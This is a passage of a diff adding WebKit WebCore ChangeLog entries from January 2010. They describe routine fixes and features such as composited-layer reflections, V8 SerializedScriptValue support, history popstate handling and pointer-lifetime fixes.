+        Reviewed by Darin Adler
+
+        No new tests. I believe this code is used only by Safari AutoFill, but in any case
+        it does not affect page rendering or anything else at the WebCore/WebKit level.
+
+        * page/Frame.cpp:
+        (WebCore::matchLabelsAgainstString):
+        New function, split out from matchLabelsAgainstElement.
+        (WebCore::Frame::matchLabelsAgainstElement):
+        Now calls matchLabelsAgainstString for the id attribute if no match is found for the name attribute.
+        
+        * page/mac/FrameMac.mm:
+        (WebCore::matchLabelsAgainstString):
+        Same as above. This is a parallel copy of the function using Mac-specific data structures.
+        (WebCore::Frame::matchLabelsAgainstElement):
+        Ditto.
+
+2010-01-16  Timothy Hatcher  <timothy@apple.com>
+
+        Use String.trim() instead of a regex in the Web Inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33765
+
+        Reviewed by George Staikos.
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.performSearch): Use .trim().
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertyTreeElement.prototype.applyExpression): Ditto.
+        * inspector/front-end/ProfileView.js:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame): Ditto.
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype): Ditto.
+        * inspector/front-end/utilities.js:
+        (String.prototype.trimLeadingWhitespace): Removed.
+        (String.prototype.trimTrailingWhitespace): Removed.
+        (String.prototype.trimWhitespace): Removed.
+
+2010-01-16  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Copying TransformationMatrix consumed a lot of cpu time while scroll with cursor over content
+        https://bugs.webkit.org/show_bug.cgi?id=33766
+
+        Make localToParentTransform return by reference to avid copy overhead.
+        This is a little gnarly in places as it means we need to be able to 
+        return temporary values in a few implementations, so we have to add
+        class fields to hold them, heppily the classes that these effect are
+         sufficiently uncommon for this to be okay.
+
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::localToParentTransform):
+        * rendering/RenderForeignObject.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::localTransform):
+        (WebCore::RenderObject::localToParentTransform):
+        * rendering/RenderObject.h:
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::localToParentTransform):
+        (WebCore::RenderPath::nodeAtFloatPoint):
+        * rendering/RenderPath.h:
+        * rendering/RenderSVGImage.h:
+        (WebCore::RenderSVGImage::localToParentTransform):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::localToParentTransform):
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGText.h:
+        (WebCore::RenderSVGText::localToParentTransform):
+        * rendering/RenderSVGTransformableContainer.cpp:
+        (WebCore::RenderSVGTransformableContainer::localToParentTransform):
+        * rendering/RenderSVGTransformableContainer.h:
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::localToParentTransform):
+        * rendering/RenderSVGViewportContainer.h:
+
+2010-01-16  Darin Adler  <darin@apple.com>
+
+        Reviewed by Oliver Hunt and Alexey Proskuryakov.
+
+        ValidityState can hold a stale pointer to control
+        https://bugs.webkit.org/show_bug.cgi?id=33729
+        rdar://problem/7545114
+
+        Test: fast/forms/ValidityState-removed-control.html
+
+        * html/HTMLFormControlElement.h: Use OwnPtr instead of
+        RefPtr to point to the ValidityState object.
+
+        * html/ValidityState.cpp: Use a constant instead of a
+        macro for the email validation regular expression.
+        (WebCore::ValidityState::validationMessage): Use
+        m_control instead of control function; we don't need
+        a function for this. Also marked const.
+        (WebCore::ValidityState::typeMismatch): Ditto.
+        Fixed some minor style problems.
+        (WebCore::ValidityState::rangeUnderflow): Ditto.
+        (WebCore::ValidityState::rangeOverflow): Ditto.
+        (WebCore::ValidityState::stepMismatch): Ditto.
+        (WebCore::ValidityState::valid): Ditto.
+        (WebCore::ValidityState::isValidEmailAddress):
+        Changed local variable names for clarity. Got rid of
+        an unneeded global variable.
+
+        * html/ValidityState.h: Removed RefCounted as a base
+        class, deriving from Noncopyable instead. Changed
+        creation to use PassOwnPtr instead of PassRefPtr.
+        Eliminated unneeded control function. Added ref and
+        deref functions that forward the reference counting
+        to the control. Moved constructor here and made it
+        inline.
+
+2010-01-15  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33752
+        Assertion failure when getting a href attribute with prefix
+
+        This was due to a temporary change made in 2005 (r9639) - checks in checkSetPrefix were
+        disabled during introduction of QualifiedName, but never re-enabled.
+
+        Tests: fast/dom/bad-href-attribute.html
+               fast/dom/node-prefix-setter-namespace-exception.html
+
+        * dom/Attr.cpp: (WebCore::Attr::setPrefix):
+        * dom/Element.cpp: (WebCore::Element::setPrefix):
+        * dom/Node.cpp: (WebCore::Node::checkSetPrefix):
+        Re-enabled the checks. Also, changed the prefix setter to treat "" as null, matching Firefox
+        (DOM 3 Core spec says this behavior is implementation defined).
+
+2010-01-16  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7536748> and https://bugs.webkit.org/show_bug.cgi?id=33571
+        History traversals to a new document do not get the popstate event
+
+        State objects now live-on in their HistoryItem indefinitely.
+        This means any back/forward navigation might result in a popstate event, not just to 
+        pre-existing documents as was previously the case.
+
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::documentDetached): State objects are held beyond Document lifetime.
+       
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin): If there is a pending state object for this Frame load, pass it
+          on to the Document after the Document is created.
+        (WebCore::FrameLoader::transitionToCommitted): If the current history item has a state object,
+          set it as the FrameLoad's pending state object.
+        * loader/FrameLoader.h:
+        
+        * page/Page.cpp:
+        (WebCore::Page::goToItem): Remove a now-invalid ASSERT.
+
+2010-01-15  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein and Adele Peterson.
+
+        Support reflections on composited layers
+        https://bugs.webkit.org/show_bug.cgi?id=31885
+        
+        Implement reflections (via -webkit-box-reflect:) on compositing layers.
+        
+        We add to the GraphicsLayer the notion of having a replica, and being a replicated layer.
+        The replica layer is not parented in the tree, but referenced by another layer.
+        RenderLayerBacking sets this up when it finds RenderLayers for reflections.
+        
+        GraphicsLayerCA implements rendering of replica layers by cloning CA layers,
+        and copying their properties, including animations and contents. Deep reflections
+        are supported by a hash of clone layers on each GraphicsLayerCA, indexed by
+        the path down the tree to each replica instance.
+        
+        When GraphicsLayerCA properties are changed, in most cases the clones must also
+        be updated.
+
+        Tests: compositing/masks/direct-image-mask.html
+               compositing/reflections/animation-inside-reflection.html
+               compositing/reflections/compositing-change-inside-reflection.html
+               compositing/reflections/deeply-nested-reflections.html
+               compositing/reflections/masked-reflection-on-composited.html
+               compositing/reflections/nested-reflection-anchor-point.html
+               compositing/reflections/nested-reflection-animated.html
+               compositing/reflections/nested-reflection-mask-change.html
+               compositing/reflections/nested-reflection-on-overflow.html
+               compositing/reflections/nested-reflection-opacity.html
+               compositing/reflections/nested-reflection-size-change.html
+               compositing/reflections/nested-reflection-transformed.html
+               compositing/reflections/nested-reflection-transition.html
+               compositing/reflections/nested-reflection.html
+               compositing/reflections/reflection-opacity.html
+               compositing/reflections/reflection-ordering.html
+               compositing/reflections/reflection-positioning.html
+               compositing/reflections/transform-inside-reflection.html
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::isReplicated): Returns true when this layer has a replicated layer.
+        (WebCore::GraphicsLayer::replicatedLayerPosition):
+        (WebCore::GraphicsLayer::setReplicatedLayerPosition): The position of the replica layer must be 
+        special-cased; we cannot just copy the position of the original.
+        (WebCore::GraphicsLayer::didDisplay): Method that indicates that the contents of the layer changed,
+        which gives us a chance to update clone layers.
+        (WebCore::GraphicsLayer::replicaLayer): reference to the replica layer.
+        (WebCore::GraphicsLayer::replicatedLayer): reference to the layer that this (replica) layer is replicating.
+        (WebCore::GraphicsLayer::setReplicatedLayer):
+
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::GraphicsLayer):
+        (WebCore::GraphicsLayer::setReplicatedByLayer): Hook up a replica with its replicated layer.
+        (WebCore::GraphicsLayer::dumpProperties):
+
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        (WebCore::GraphicsLayerCA::primaryLayer): Returns a CALayer, since structural layers may not be WebLayers.
+        (WebCore::GraphicsLayerCA::isReplicatedRootClone): Given a cloneID (string representation of the path to a clone
+        down the tree, which is a bitstring of 1 (replica), or 0 (non-replica)), returns true if this ID represents the
+        root of a replica tree.
+        (WebCore::GraphicsLayerCA::primaryLayerClones): Returns a pointer to the hash map of clones of the primary layers.
+
+        (WebCore::GraphicsLayerCA::ReplicaState::ReplicaState): Small struct used to track original/clone branching
+        down the tree during recursion, to build cloneID paths.
+
+        (WebCore::GraphicsLayerCA::hasCloneLayers): returns true if this layer has clone layers.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::~GraphicsLayerCA): remove the clone layers.
+        (WebCore::GraphicsLayerCA::setChildren): call noteSublayersChanged() since we may have to update replicas too.
+        (WebCore::GraphicsLayerCA::addChild): ditto
+        (WebCore::GraphicsLayerCA::addChildAtIndex): ditto
+        (WebCore::GraphicsLayerCA::addChildBelow): ditto
+        (WebCore::GraphicsLayerCA::addChildAbove): ditto
+        (WebCore::GraphicsLayerCA::replaceChild): ditto
+        (WebCore::GraphicsLayerCA::removeFromParent): ditto
+        (WebCore::GraphicsLayerCA::setMaskLayer): call propagateLayerChangeToReplicas()
+        (WebCore::GraphicsLayerCA::setReplicatedLayer): note replica changed.
+        (WebCore::GraphicsLayerCA::setReplicatedByLayer): ditto
+        (WebCore::GraphicsLayerCA::moveOrCopyAllAnimationsForProperty): Enhanced to allow moving or copying animations.
+        (WebCore::GraphicsLayerCA::moveOrCopyAnimationsForProperty): Ditto.
+        (WebCore::GraphicsLayerCA::setContentsToImage): call noteSublayersChanged()
+        (WebCore::GraphicsLayerCA::setContentsToVideo): call noteSublayersChanged()
+        (WebCore::GraphicsLayerCA::didDisplay): here is our chance to copy updated contents to clone layers.
+        (WebCore::GraphicsLayerCA::recursiveCommitChanges):
+        (WebCore::GraphicsLayerCA::commitLayerChangesBeforeSublayers): pre-order commit, for things that need to be
+            committed before we recurse on children.
+        (WebCore::GraphicsLayerCA::commitLayerChangesAfterSublayers): post-order commit, for things that need to be
+            committed after we recurse on children, like clones.
+        (WebCore::GraphicsLayerCA::updateLayerNames): New method to match the other 'update' methods.
+        (WebCore::GraphicsLayerCA::updateSublayerList): Insert replica layers into the hierarchy.
+        (WebCore::GraphicsLayerCA::updateLayerPosition): update clones.
+        (WebCore::GraphicsLayerCA::updateLayerSize): ditto
+        (WebCore::GraphicsLayerCA::updateAnchorPoint): ditto
+        (WebCore::GraphicsLayerCA::updateTransform): ditto
+        (WebCore::GraphicsLayerCA::updateChildrenTransform): ditto
+        (WebCore::GraphicsLayerCA::updateMasksToBounds): ditto
+        (WebCore::GraphicsLayerCA::updateContentsOpaque): ditto
+        (WebCore::GraphicsLayerCA::updateBackfaceVisibility): ditto
+        (WebCore::GraphicsLayerCA::updateStructuralLayer): call ensureStructuralLayer()
+        (WebCore::moveAnimation): utility to move a CAAnimation from one layer to another.
+        (WebCore::GraphicsLayerCA::ensureStructuralLayer): refactored code which creates enclosing CALayers for reflection
+        flattening, or CATransformLayers for preserve-3d.
+        (WebCore::GraphicsLayerCA::structuralLayerPurpose): indicates why we need a structural layer.
+        (WebCore::GraphicsLayerCA::updateLayerDrawsContent): update clones
+        (WebCore::GraphicsLayerCA::updateContentsImage): ditto
+        (WebCore::GraphicsLayerCA::updateContentsRect): ditto
+        (WebCore::GraphicsLayerCA::updateMaskLayer): ditto
+        (WebCore::GraphicsLayerCA::updateReplicatedLayers): This is where we ask for the tree of layers for the replica
+        and its children, and attach them as sublayers.
+        (WebCore::GraphicsLayerCA::ReplicaState::cloneID): Build a bitstring from the array of original/clone values; this
+        string serves to identify clones in the hash map.
+        (WebCore::GraphicsLayerCA::replicatedLayerRoot): Request the tree of clone layers, set its position and transform,
+        and return it.
+        (WebCore::GraphicsLayerCA::setAnimationOnLayer): update clones
+        (WebCore::GraphicsLayerCA::removeAnimationFromLayer): ditto
+        (WebCore::GraphicsLayerCA::pauseAnimationOnLayer): ditto
+        (WebCore::GraphicsLayerCA::setContentsToGraphicsContext3D): udpate sublayers.
+        (WebCore::GraphicsLayerCA::suspendAnimations): update clones.
+        (WebCore::GraphicsLayerCA::resumeAnimations): ditto
+        (WebCore::GraphicsLayerCA::animatedLayerClones): return the hash map for clones of the appropriate layer for the given property.
+        (WebCore::GraphicsLayerCA::ensureCloneLayers): create and return clones for the CALayers for this layer.
+        (WebCore::GraphicsLayerCA::removeCloneLayers): clear out the clone layers.
+        (WebCore::GraphicsLayerCA::positionForCloneRootLayer): the root of a clonal subtree needs its position and transform to be special-cased,
+        since it doesn't just copy those properties from the original.
+        (WebCore::GraphicsLayerCA::propagateLayerChangeToReplicas): push the change flags onto the replica.
+        (WebCore::GraphicsLayerCA::fetchCloneLayers): recurse down sublayers, creating clones of the CALayers along the way, and returning
+        the root of the clone tree.
+        (WebCore::copyAnimation): utility to copy an animation from one layer to another. Animations can be shared between layers.
+        (WebCore::GraphicsLayerCA::cloneLayer): utility to clone a CALayer, copying those properties which GraphicsLayerCA makes use of
+        (WebCore::GraphicsLayerCA::setOpacityInternal): push opacity changes to clones.
+        (WebCore::GraphicsLayerCA::updateOpacityOnLayer): ditto
+        (WebCore::GraphicsLayerCA::noteSublayersChanged): set the ChildrenChanged flag, and proprate changes to the replica, if any.
+
+        * platform/graphics/mac/WebLayer.mm:
+        (-[WebLayer display]): override -display so we know when to update the contents of clone layers
+
+        * platform/graphics/mac/WebTiledLayer.mm:
+        (-[WebTiledLayer display]): ditto.
+
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::isReflection): New method that returns true if the renderer is a replica.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::RenderLayer): initialize m_isReflection
+        (WebCore::RenderLayer::updateReflectionStyle): call setIsReflection
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::createGraphicsLayer): Put a name on the reflection layer.
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration): Hook up the GraphicsLayers for the reflection.
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry): Reflection overrides preserve-3d (you have to flatten to reflect).
+        Also hook up updating the reflection layer geometry, and the relica position.
+        
+        (WebCore::RenderLayerBacking::paintIntoLayer): We no longer paint the reflection in software.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements): Hook reflection layers into the compositing logic.
+        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering): No longer have to push video into software if it's reflected.
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree): Update the bounds of the reflection layer.
+        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry): ditto
+        (WebCore::RenderLayerCompositor::requiresCompositingWhenDescendantsAreCompositing): a compositing descendant forces
+        a reflection ancestor to composite now.
+        (WebCore::RenderLayerBacking::containsPaintedContent): Reflection layers don't paint anything.
+        (WebCore::RenderLayerBacking::isDirectlyCompositedImage): No need to fall out of direct compositing mode
+        for masks or reflections any more.
+        (WebCore::RenderLayerBacking::paintIntoLayer): No need to paint the reflection manually now.
+
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isReplica):
+        * rendering/RenderReplica.h:
+        (WebCore::RenderReplica::isReplica):
+        New method used to determine if a render is a replica.
+
+2010-01-15  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        CSS2.1 Counters not updated when new elements are inserted in the DOM.
+        https://bugs.webkit.org/show_bug.cgi?id=32884
+
+        Test: fast/css/counters/adding-nodes.html
+
+        * rendering/CounterNode.cpp:
+        (WebCore::CounterNode::insertAfter):
+        Modified to handle the addition of nodes with children. Needed when formerly 
+        root nodes become descendants of a new node.
+        * rendering/RenderCounter.cpp:
+        (WebCore::makeCounterNode):
+        Changed to handle the case when root counter nodes lose their root 
+        status as a result of a new root counter node creation. 
+        (WebCore::destroyCounterNodeWithoutMapRemoval):
+        Refactored more code into destroyCounterNodeChildren and renamed the
+        function according to its new action.
+        (WebCore::RenderCounter::destroyCounterNodes):
+        Simplified to share more code with the new destroyCounterNode.
+        (WebCore::RenderCounter::destroyCounterNode):
+        Added to allow for selective counterNode destruction.
+        (WebCore::RenderCounter::rendererSubtreeAttached):
+        Added to refresh counter values in response to DOM changes.
+        For renderers with no attached counters the execution time of this
+        function cannot be discerned in comparison with the time needed to
+        add a node or change the style of a node.
+        (WebCore::updateCounters):
+        Helper function for rendererSubtreeAttached. Updates the counters
+        attached to a Renderer in response to the renderer or its ancestors
+        being attached to the renderer tree.
+        * rendering/RenderCounter.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::addChild):
+        Changed to update counter values if needed.
+
+2010-01-15  Alejandro G. Castro  <alex@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        Original patch by David Ronis <david.ronis@mcgill.ca>
+
+        Upgrade 1.1.17->1.1.18 fails: GTK_WIDGET_TOPLEVEL' was not declared in this scope
+        https://bugs.webkit.org/show_bug.cgi?id=33486
+
+        Deprecated symbols replaced for gtk+ versions over 2.18.
+
+        * platform/gtk/PlatformScreenGtk.cpp:
+        (WebCore::getVisual):
+        (WebCore::screenRect):
+
+2010-01-15  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Bad DOM performance in large SVG files
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Improve the performance of the early culling check by avoiding save/restore
+        of graphics state in culled case.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+
+2010-01-15  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r53344.
+        http://trac.webkit.org/changeset/53344
+        https://bugs.webkit.org/show_bug.cgi?id=32920
+
+        Broke the Chromium Mac builder.
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/SerializedScriptValue.cpp: Removed.
+        * bindings/v8/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::release):
+        (WebCore::SerializedScriptValue::toString):
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::postMessageCallback):
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        (WebCore::V8DedicatedWorkerContext::postMessageCallback):
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        (WebCore::V8History::pushStateCallback):
+        (WebCore::V8History::replaceStateCallback):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::V8MessageEvent::initMessageEventCallback):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::V8MessagePort::postMessageCallback):
+        * bindings/v8/custom/V8PopStateEventCustom.cpp:
+        (WebCore::V8PopStateEvent::initPopStateEventCallback):
+        (WebCore::V8PopStateEvent::stateAccessorGetter):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::V8Worker::postMessageCallback):
+
+2010-01-15  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        history.length does not return number of elements in history list
+        https://bugs.webkit.org/show_bug.cgi?id=24472
+
+        Test: fast/history/history-length.html
+
+        * page/Page.cpp:
+        (WebCore::Page::getHistoryLength):
+
+2010-01-15  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Need to ensure that Document::postTask does not provide the Task with a dangling pointer to destroyed Document
+        https://bugs.webkit.org/show_bug.cgi?id=31633
+
+        Don't see a way to add test for it, we don't have a way to reproduce the issue currently.
+
+        * dom/Document.cpp:
+        (WebCore::DocumentWeakReference::DocumentWeakReference):
+        (WebCore::DocumentWeakReference::document):
+        (WebCore::DocumentWeakReference::clear):
+        (WebCore::Document::Document): Create a weak reference to this Document.
+        (WebCore::Document::~Document): Clear the weak pointer, preventing further execution of tasks.
+        (WebCore::PerformTaskContext::PerformTaskContext):
+        (WebCore::performTask): Check if the documentWeakReference is cleared by Document destructor - in this case do not run the task.
+        (WebCore::Document::postTask):
+        * dom/Document.h:
+        (WebCore::DocumentWeakReference::create):
+
+2010-01-15  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Support SerializedScriptValue.
+        https://bugs.webkit.org/show_bug.cgi?id=32920
+        http://crbug.com/30620
+
+        Initial implementation of SerializedScriptValue which is used to
+        to create a serialized representation of JavaScript objects.  This
+        representation is needed for structured clones and worker messages.
+
+        * WebCore.gypi: Added SerializedScriptValue.cpp.
+        * bindings/scripts/CodeGeneratorV8.pm: Removed conversion to string before using SerializedScriptValue.
+        * bindings/v8/SerializedScriptValue.cpp: Added.
+        (WebCore::):
+        (WebCore::ZigZag::encode):
+        (WebCore::ZigZag::decode):
+        (WebCore::Writer::Writer):
+        (WebCore::Writer::writeUndefined):
+        (WebCore::Writer::writeNull):
+        (WebCore::Writer::writeTrue):
+        (WebCore::Writer::writeFalse):
+        (WebCore::Writer::writeString):
+        (WebCore::Writer::writeInt32):
+        (WebCore::Writer::writeNumber):
+        (WebCore::Writer::endComposite):
+        (WebCore::Writer::data):
+        (WebCore::Writer::doWriteUint32):
+        (WebCore::Writer::append):
+        (WebCore::Writer::ensureSpace):
+        (WebCore::Writer::fillHole):
+        (WebCore::Writer::charAt):
+        (WebCore::Serializer::Serializer):
+        (WebCore::Serializer::serialize):
+        (WebCore::Serializer::StateBase::~StateBase):
+        (WebCore::Serializer::StateBase::nextState):
+        (WebCore::Serializer::StateBase::setNextState):
+        (WebCore::Serializer::StateBase::composite):
+        (WebCore::Serializer::StateBase::StateBase):
+        (WebCore::Serializer::State::composite):
+        (WebCore::Serializer::State::tag):
+        (WebCore::Serializer::State::State):
+        (WebCore::Serializer::StackCleaner::StackCleaner):
+        (WebCore::Serializer::StackCleaner::~StackCleaner):
+        (WebCore::Serializer::ArrayState::ArrayState):
+        (WebCore::Serializer::ArrayState::done):
+        (WebCore::Serializer::ArrayState::advance):
+        (WebCore::Serializer::ObjectState::ObjectState):
+        (WebCore::Serializer::ObjectState::done):
+        (WebCore::Serializer::ObjectState::advance):
+        (WebCore::Serializer::ObjectState::nextProperty):
+        (WebCore::Serializer::doSerialize):
+        (WebCore::Serializer::push):
+        (WebCore::Serializer::top):
+        (WebCore::Serializer::pop):
+        (WebCore::Serializer::checkComposite):
+        (WebCore::Reader::Reader):
+        (WebCore::Reader::isEof):
+        (WebCore::Reader::read):
+        (WebCore::Reader::readTag):
+        (WebCore::Reader::readString):
+        (WebCore::Reader::readInt32):
+        (WebCore::Reader::readNumber):
+        (WebCore::Reader::doReadUint32):
+        (WebCore::Deserializer::Deserializer):
+        (WebCore::Deserializer::deserialize):
+        (WebCore::Deserializer::doDeserialize):
+        (WebCore::Deserializer::push):
+        (WebCore::Deserializer::pop):
+        (WebCore::Deserializer::stackDepth):
+        (WebCore::Deserializer::element):
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/v8/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::createFromWire):
+        (WebCore::SerializedScriptValue::release):
+        (WebCore::SerializedScriptValue::toWireString):
+
+        Updated uses of SerializedScriptValue:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::postMessageCallback):
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        (WebCore::V8DedicatedWorkerContext::postMessageCallback):
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        (WebCore::V8History::pushStateCallback):
+        (WebCore::V8History::replaceStateCallback):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::V8MessageEvent::initMessageEventCallback):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::V8MessagePort::postMessageCallback):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::V8Worker::postMessageCallback):
+
+2010-01-15  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dirk Schulze.
+
+        Bad DOM performance in large SVG files
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Add an early return when we go to paint a RenderPath that
+        isn't in the current clip.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::draw):
+
+2010-01-15  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Make Geolocation::suspend/resume public.
+        https://bugs.webkit.org/show_bug.cgi?id=33679
+
+        These were made private in Bug 32499, but are required by Android to be public.
+
+        No new tests, build fix only.
+
+        * page/Geolocation.cpp: Modified
+        (WebCore::Geolocation::suspend): Added back in
+        (WebCore::Geolocation::resume): Added back in
+        * page/Geolocation.h: Modified. Make suspend and resume public
+
+2010-01-15  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Set pointer cursor when over a breakpoint in the BreakpointsSidebarPane
+
+        https://bugs.webkit.org/show_bug.cgi?id=33713
+
+        * inspector/front-end/inspector.css:
+
+2010-01-15  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Generate more of the custom behaviors that the v8 bindings attach to v8 FunctionTemplates.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::getToStringName):
+        (WebCore::constructorToString):
+        (WebCore::getToStringTemplate):
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::createNewContext):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+
+2010-01-15  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r53331.
+        http://trac.webkit.org/changeset/53331
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Broke fast/borders/svg-as-border-image-3.html. Don't give up,
+        Oliver! You are really, really close.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+
+2010-01-15  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Bad DOM performance in large SVG files
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Add an early return when we go to paint a RenderPath that
+        isn't in the current clip.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+
+2010-01-15  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        Use OS(MAC_OS_X) instead of PLATFORM(MAC) when determining navigator.platform
+
+        https://bugs.webkit.org/show_bug.cgi?id=33711
+
+        * page/NavigatorBase.cpp:
+
+2010-01-14  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] Compiler warning: comparisons like 'X<=Y<=Z' do not have their mathematical meaning
+        https://bugs.webkit.org/show_bug.cgi?id=33575
+
+        Patch from Magnus Boman <captain.magnus@gmail.com>
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mimeTypeCache): fix compiler warnings.
+
+2010-01-14  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Add welcome screen to Profiles pane to provide some instructions for novices.
+
+        https://bugs.webkit.org/show_bug.cgi?id=19268
+
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.CPUProfileType.prototype.get welcomeMessage):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfileType.prototype.get welcomeMessage):
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.show):
+        (WebInspector.ProfilesPanel.prototype.registerProfileType):
+        (WebInspector.ProfilesPanel.prototype._addWelcomeMessage.messageButtonClicked):
+        (WebInspector.ProfilesPanel.prototype._addWelcomeMessage):
+        (WebInspector.ProfilesPanel.prototype.showProfile):
+        (WebInspector.ProfilesPanel.prototype.closeVisibleView):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/WelcomeView.js: Added.
+        (WebInspector.WelcomeView):
+        (WebInspector.WelcomeView.prototype._windowResized):
+        (WebInspector.WelcomeView.prototype.addMessage):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2010-01-13  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt/Win] Flash in QGraphicsWebView does not process hover correctly.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=33591
+        
+        Mouse hover does not work as expected with the flash in some sites.
+        - http://www.bbc.co.uk/ Hover over the map
+        - http://www.barbie.com/ Hover over the menu items (Games, Videos)
+        The problem appears to be that Flash queries NPNVnetscapeWindow on every
+        mouse hover. I do not how flash uses this value but returning 0 when flash
+        is in windowless mode solves the problem (When using QGraphicsWebView we
+        inject wmode opaque, thereby putting the plugin in windowless mode).
+
+        * plugins/win/PluginViewWin.cpp:
+        (windowHandleForPageClient):
+
+2010-01-15  Zoltan Horvath  <zoltan@webkit.org>
+
